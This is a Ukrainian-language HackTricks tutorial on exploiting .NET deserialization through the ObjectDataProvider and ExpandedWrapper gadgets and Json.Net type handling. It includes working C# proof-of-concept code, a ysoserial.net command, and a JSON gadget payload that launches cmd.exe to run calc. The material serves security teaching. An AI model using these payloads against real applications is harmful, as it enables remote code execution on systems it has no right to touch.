Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Цей пост присвячений розумінню того, як експлуатується гаджет ObjectDataProvider для отримання RCE та як бібліотеки серіалізації Json.Net та xmlSerializer можуть бути зловживані за допомогою цього гаджета.

Гаджет ObjectDataProvider

З документації: клас ObjectDataProvider обгортає та створює об'єкт, який можна використовувати як джерело прив'язки. Так, це дивне пояснення, тому давайте подивимося, що цей клас має такого цікавого: Цей клас дозволяє обгорнути довільний об'єкт, використовувати MethodParameters для встановлення довільних параметрів, а потім використовувати MethodName для виклику довільної функції довільного об'єкта, визначеного за допомогою довільних параметрів. Отже, довільний об'єкт буде виконувати функцію з параметрами під час десеріалізації.

Як це можливо

Простір імен System.Windows.Data, знайдений у PresentationFramework.dll за адресою C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, тут визначено та реалізовано ObjectDataProvider.

За допомогою dnSpy ви можете інспектувати код класу, який нас цікавить. На зображенні нижче ми бачимо код PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Як можна побачити, коли встановлюється MethodName, викликається base.Refresh(), давайте подивимося, що він робить:

Добре, давайте продовжимо, подивимося, що робить this.BeginQuery(). BeginQuery перевизначено ObjectDataProvider, і ось що він робить:

Зверніть увагу, що в кінці коду викликається this.QueryWorke(null). Подивимося, що виконує це:

Зверніть увагу, що це не повний код функції QueryWorker, але він показує цікаву частину: Код викликає this.InvokeMethodOnInstance(out ex); це рядок, де викликається встановлений метод.

Якщо ви хочете перевірити, що просто встановивши MethodName** він буде виконаний**, ви можете запустити цей код:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Зверніть увагу, що вам потрібно додати як посилання C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll для завантаження System.Windows.Data

Розширений обгортка (ExpandedWrapper)

Використовуючи попередню уразливість, можуть виникнути випадки, коли об'єкт буде десеріалізований як екземпляр ObjectDataProvider (наприклад, у вразливості DotNetNuke, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою GetType). Потім, не буде знання про тип об'єкта, який знаходиться в обгортці екземпляра ObjectDataProvider (Process, наприклад). Ви можете знайти більше інформації про вразливість DotNetNuke тут.

Цей клас дозволяє вказати типи об'єктів, які знаходяться вкладені в заданий екземпляр. Таким чином, цей клас може бути використаний для упакування джерела об'єкта (ObjectDataProvider) в новий тип об'єкта та надання необхідних властивостей (ObjectDataProvider.MethodName та ObjectDataProvider.MethodParameters). Це дуже корисно для випадків, подібних тому, що був представлений раніше, оскільки ми зможемо упакувати _ObjectDataProvider** всередині екземпляра **ExpandedWrapper _ та під час десеріалізації цей клас створить об'єкт OjectDataProvider, який виконає функцію, вказану в MethodName.

Ви можете перевірити цей обгортка за допомогою наступного коду:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

На офіційній веб-сторінці вказано, що ця бібліотека дозволяє серіалізувати та десеріалізувати будь-який .NET об'єкт за допомогою потужного серіалізатора JSON.NET. Таким чином, якщо ми можемо десеріалізувати гаджет ObjectDataProvider, ми можемо викликати RCE, просто десеріалізуючи об'єкт.

Приклад Json.Net

Спочатку давайте подивимося приклад того, як серіалізувати/десеріалізувати об'єкт за допомогою цієї бібліотеки:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Зловживання Json.Net

Використовуючи ysoserial.net я створив експлоіт:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

У цьому коді ви можете перевірити вразливість, просто запустіть його і ви побачите, що виконується калькулятор:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated